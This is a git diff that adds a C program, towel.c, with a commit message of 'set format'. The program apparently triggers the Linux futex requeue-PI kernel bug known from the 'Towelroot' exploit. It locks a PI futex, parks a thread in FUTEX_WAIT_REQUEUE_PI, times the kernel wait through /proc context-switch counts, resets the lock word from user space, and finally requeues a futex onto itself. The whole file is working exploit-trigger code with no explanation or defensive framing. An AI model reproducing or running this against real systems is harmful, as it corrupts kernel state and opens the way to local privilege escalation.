set format

1 files changed, 102 insertions, 0 deletions

diff --git a/towel.c b/towel.c
new file mode 100644
index 0000000..5481bff
--- /dev/null
+++ b/towel.c
@@ -0,0 +1,102 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <linux/futex.h>
+#include <sys/syscall.h>
+
+#define USERLOCK_FREE 0
+#define USERLOCK_OCCUPIED 1
+#define FUTEX_WAIT_REQUEUE_PI 11
+#define FUTEX_CMP_REQUEUE_PI 12
+
+inline void userlock_wait(volatile const int *userlock) {
+    while (USERLOCK_OCCUPIED == *userlock) {
+        usleep(10);
+    }
+}
+
+inline void userlock_lock(volatile int *userlock) {
+    *userlock = USERLOCK_OCCUPIED; 
+}
+
+inline void userlock_release(volatile int *userlock) {
+    *userlock = USERLOCK_FREE;
+}
+
+int get_voluntary_ctxt_switches(pid_t tid) {
+    FILE *fp;
+    char proc_path[256];
+    char buf[0x1000];
+    char *ptr = buf;
+    int count = -1;
+    snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
+    fp = fopen(proc_path, "rb");
+    if (fp != NULL) {
+        fread(buf, sizeof(unsigned char), sizeof(buf), fp);
+        ptr = strstr(buf, "voluntary_ctxt_switches:");
+        ptr += strlen("voluntary_ctxt_switches:");
+        count = atoi(ptr);
+        fclose(fp);
+    }
+    return count;
+}
+
+void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) {
+    while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
+        usleep(10);
+    }
+}
+
+inline int futex_lock_pi(int *uaddr) {
+    return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
+}
+
+inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) {
+    return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
+}
+
+inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) {
+    return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
+}
+
+int A = 0, B = 0;
+volatile int invoke_futex_wait_requeue_pi = 0;
+volatile pid_t thread_tid = -1;
+
+void *thread(void *arg) {
+    thread_tid = gettid();
+    printf("[2]\n");
+    userlock_wait(&invoke_futex_wait_requeue_pi);
+    futex_wait_requeue_pi(&A, &B);
+    printf("Someone woke me up\n");
+    while (1) {
+        sleep(1);
+    }
+}
+
+int main(int argc, char *argv[]) {
+    pthread_t t;
+    int context_switch_count = 0;
+    printf("[1]\n");
+    futex_lock_pi(&B);
+    userlock_lock(&invoke_futex_wait_requeue_pi);
+    pthread_create(&t, NULL, thread, NULL);
+    /* Wait for the thread to be in a system call */
+    while (thread_tid < 0) {
+        usleep(10);
+    }
+    context_switch_count = get_voluntary_ctxt_switches(thread_tid);
+    userlock_release(&invoke_futex_wait_requeue_pi);
+    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
+    printf("[3]\n");
+    futex_requeue_pi(&A, &B, A);
+    printf("[4]\n");
+    B = 0;
+    printf("[5]\n");
+    futex_requeue_pi(&B, &B, B);
+    while (1) {
+        sleep(1);
+    }
+    return 0;
+}